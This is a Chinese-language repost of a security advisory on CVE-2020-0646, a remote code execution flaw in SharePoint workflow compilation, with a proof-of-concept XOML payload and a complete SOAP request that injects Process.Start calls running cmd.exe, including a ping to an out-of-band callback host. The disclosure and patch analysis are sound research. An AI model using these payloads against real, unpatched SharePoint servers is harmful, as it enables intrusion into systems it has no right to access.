工作流中的代码注入导致SharePoint RCE (CVE-2020-0646)
说明
2019年11月向微软报告了SharePoint Online中通过工作流代码注入的远程代码执行问题,该问题在在线平台上立即得到了解决。然而,主要问题已于2020年1月在.NET框架中进行了修补。因此,没有2020年1月.NET补丁的SharePoint On-Premise版本仍然受到影响。
需要注意的是,当IIS支持.XOML扩展名时,这个问题也可能被滥用于文件上传攻击。
虽然这个漏洞的影响与之前发现的以下缺陷相同,因为它们都影响同一个模块,但它使用了不同的技术,而且它不是绕过已实施的修复程序。
https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/
https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-microsoft-xoml-workflows-protection-mechanisms-using-deserialisation-of-untrusted-data/
CVE-2020-0646分析
在编译XOML格式文件时,System.Workflow.Activities命名空间中的一些参数可能被滥用,在SharePoint服务器上运行任意代码。这个问题还绕过了Workflow编译器的nocode选项,因为它仍然可以执行任意代码。
以下XOML文件显示了使用CallExternalMethodActivity类时的一个例子。
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CallExternalMethodActivity x:Name="codeActivity1" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>
InterfaceType属性的值在编译过程中被注入到生成的临时C#文件中:
private void InitializeComponent()
{
…
this.codeActivity1.InterfaceType = typeof(System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c calc");private/**/void/**/foobar(){//);
…
}
因此,可以从函数中逃逸出运行代码。需要注意的是,其他字符串类型属性(如上例中的MethodName)都被正确验证或转义,而InterfaceType属性受到影响。
CodeActivity类的ExecuteCode参数也同样受到影响,但它在SharePoint Online版本上没有被授权,只能在On-Premise版本上工作。其他活动也可能被滥用。
以下HTTP请求可用于在SharePoint Online上执行代码为例:
POST http://[REDACTED].sharepoint.com/_vti_bin/webpartpages.asmx HTTP/1.1
Date: Tue, 29 Oct 2019 14:26:21 GMT
MIME-Version: 1.0
Accept: */*
SOAPAction: http://microsoft.com/sharepoint/webpartpages/ValidateWorkflowMarkupAndCreateSupportObjects
User-Agent: Mozilla/4.0 (compatible; MS FrontPage 15.0)
Host: [REDACTED].sharepoint.com
Accept-Language: en-us, en;q=0.1
Accept: auth/sicily
X-FORMS_BASED_AUTH_ACCEPTED: T
Content-Type: text/xml; charset=utf-8
X-Vermeer-Content-Type: text/xml; charset=utf-8
Accept-encoding: gzip, deflate
Connection: Keep-Alive
Pragma: no-cache
Content-Length: 1031
Cookie: [REDACTED]
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages"><workflowMarkupText><![CDATA[
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe","/c ping o9ydzn3p7ed579lepxolocqyqpwik7.[redactedBurpCollabServer]");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>
]]></workflowMarkupText><rulesText></rulesText><configBlob></configBlob><flag>2</flag></ValidateWorkflowMarkupAndCreateSupportObjects></soap:Body></soap:Envelope>
结果,DNS名称被解析:
On-Premise版本也可以使用上述请求进行利用。
应用 CVE-2020-0646 补丁后,会检查工作流中的所有 XML 元素和属性,以确保它们只包含有限数量的允许字符。因此,当使用所选的nocode选项时,不再可能在默认配置中向生成的C#代码中注入任意代码。
参考文献:
https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/?fbclid=IwAR0b4QZxdQKVYN-ES62rdt9yN5MMzfgpK7DkdkbIq44Flm-ODiuqzeIglUQ
本文始发于微信公众号(Khan安全攻防实验室):CVE-2020-0646 SharePoint RCE - POC
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论